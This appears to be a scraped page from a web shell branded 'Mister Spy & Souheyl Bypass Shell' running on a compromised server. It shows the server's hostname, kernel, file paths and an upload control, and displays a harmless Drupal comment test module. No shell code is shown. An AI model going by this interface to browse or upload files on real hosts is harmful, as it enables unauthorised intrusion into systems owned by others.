Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/dataninja.cn/core/modules/comment/tests/modules/comment_test/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/dataninja.cn/core/modules/comment/tests/modules/comment_test/comment_test.module

<?php

/**
 * @file
 * Dummy module implementing comment related hooks to test API interaction with
 * the Comment module.
 */

use Drupal\comment\CommentInterface;
use Drupal\Core\Url;

/**
 * Implements hook_entity_type_alter().
 */
function comment_test_entity_type_alter(array &$entity_types) {
  /** @var $entity_types \Drupal\Core\Entity\EntityTypeInterface[] */
  if (\Drupal::languageManager()->isMultilingual()) {
    // Enable language handling for comment fields.
    $translation = $entity_types['comment']->get('translation');
    $translation['comment_test'] = TRUE;
    $entity_types['comment']->set('translation', $translation);
  }
}

/**
 * Implements hook_comment_links_alter().
 */
function comment_test_comment_links_alter(array &$links, CommentInterface &$entity, array &$context) {
  // Allow tests to enable or disable this alter hook.
  if (!\Drupal::state()->get('comment_test_links_alter_enabled', FALSE)) {
    return;
  }

  $links['comment_test'] = [
    '#theme' => 'links__comment__comment_test',
    '#attributes' => ['class' => ['links', 'inline']],
    '#links' => [
      'comment-report' => [
        'title' => t('Report'),
        'url' => Url::fromRoute('comment_test.report', ['comment' => $entity->id()], ['query' => ['token' => \Drupal::getContainer()->get('csrf_token')->get("comment/{$entity->id()}/report")]]),
      ],
    ],
  ];
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net